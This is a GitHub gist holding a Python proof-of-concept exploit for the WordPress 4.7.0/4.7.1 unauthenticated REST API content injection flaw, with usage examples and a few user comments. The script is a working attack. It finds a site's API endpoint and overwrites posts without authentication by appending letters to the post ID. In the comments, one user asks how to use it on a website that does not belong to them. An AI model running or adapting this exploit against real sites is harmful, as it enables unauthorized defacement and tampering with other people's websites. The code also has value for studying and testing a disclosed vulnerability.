Skip to content

Instantly share code, notes, and snippets.

@leonjza
Last active February 4, 2024 07:47
Show Gist options
  • Save leonjza/2244eb15510a0687ed93160c623762ab to your computer and use it in GitHub Desktop.
Save leonjza/2244eb15510a0687ed93160c623762ab to your computer and use it in GitHub Desktop.
Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# 2017 - @leonjza
#
# Wordpress 4.7.0/4.7.1 Unauthenticated Content Injection PoC
# Full bug description: https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
# Usage example:
#
# List available posts:
#
# $ python inject.py http://localhost:8070/
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Getting available posts
# - Post ID: 1, Title: test, Url: http://localhost:8070/archives/1
#
# Update post with content from a file:
#
# $ cat content
# foo
#
# $ python inject.py http://localhost:8070/ 1 content
# * Discovering API Endpoint
# * API lives at: http://localhost:8070/wp-json/
# * Updating post 1
# * Post updated. Check it out at http://localhost:8070/archives/1
# * Update complete!
import json
import sys
import urllib2
from lxml import etree
def get_api_url(wordpress_url):
response = urllib2.urlopen(wordpress_url)
data = etree.HTML(response.read())
u = data.xpath('//link[@rel="https://api.w.org/"]/@href')[0]
# check if we have permalinks
if 'rest_route' in u:
print(' ! Warning, looks like permalinks are not enabled. This might not work!')
return u
def get_posts(api_base):
respone = urllib2.urlopen(api_base + 'wp/v2/posts')
posts = json.loads(respone.read())
for post in posts:
print(' - Post ID: {0}, Title: {1}, Url: {2}'
.format(post['id'], post['title']['rendered'], post['link']))
def update_post(api_base, post_id, post_content):
# more than just the content field can be updated. see the api docs here:
# https://developer.wordpress.org/rest-api/reference/posts/#update-a-post
data = json.dumps({
'content': post_content
})
url = api_base + 'wp/v2/posts/{post_id}/?id={post_id}abc'.format(post_id=post_id)
req = urllib2.Request(url, data, {'Content-Type': 'application/json'})
response = urllib2.urlopen(req).read()
print('* Post updated. Check it out at {0}'.format(json.loads(response)['link']))
def print_usage():
print('Usage: {0} <url> (optional: <post_id> <file with post_content>)'.format(__file__))
if __name__ == '__main__':
# ensure we have at least a url
if len(sys.argv) < 2:
print_usage()
sys.exit(1)
# if we have a post id, we need content too
if 2 < len(sys.argv) < 4:
print('Please provide a file with post content with a post id')
print_usage()
sys.exit(1)
print('* Discovering API Endpoint')
api_url = get_api_url(sys.argv[1])
print('* API lives at: {0}'.format(api_url))
# if we only have a url, show the posts we have have
if len(sys.argv) < 3:
print('* Getting available posts')
get_posts(api_url)
sys.exit(0)
# if we get here, we have what we need to update a post!
print('* Updating post {0}'.format(sys.argv[2]))
with open(sys.argv[3], 'r') as content:
new_content = content.readlines()
update_post(api_url, sys.argv[2], ''.join(new_content))
print('* Update complete!')
@Rivendall
Copy link

Hello @leonjza. Thank you.
I tested it at my localhost on windows 7 32bit, under XAMPP for WP 4.7.1.
But I had error:

C:\Python>inject.py http://localhost/cms/wp7test/

Then:

C:\Python>inject.py http://localhost/cms/wp7test/ 1 abc.txt

  • Discovering API Endpoint
  • API lives at: http://localhost/cms/wp7test/wp-json/
  • Updating post 1
    Traceback (most recent call last):
    File "C:\Python\inject.py", line 102, in
    update_post(api_url, sys.argv[2], ''.join(new_content))
    File "C:\Python\inject.py", line 66, in update_post
    response = urllib2.urlopen(req).read()
    File "C:\Python\lib\urllib2.py", line 154, in urlopen
    return opener.open(url, data, timeout)
    File "C:\Python\lib\urllib2.py", line 437, in open
    response = meth(req, response)
    File "C:\Python\lib\urllib2.py", line 550, in http_response
    'http', request, response, code, msg, hdrs)
    File "C:\Python\lib\urllib2.py", line 475, in error
    return self._call_chain(*args)
    File "C:\Python\lib\urllib2.py", line 409, in _call_chain
    result = func(*args)
    File "C:\Python\lib\urllib2.py", line 558, in http_error_default
    raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
    urllib2.HTTPError: HTTP Error 400: Bad Request

Please help me. Thank you.

@komradz86
Copy link

komradz86 commented Apr 21, 2017

@unixfox That means it couldnt parse the API URL from the URI you specified. The script checks for a link tag with a rel of api.w.org. You could view the source of the wordpress page and check if its there and update the script if its somewhere else.

can you explain more?
what if the website does not belong to me and i cant see the script? where do usualy the API is located

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment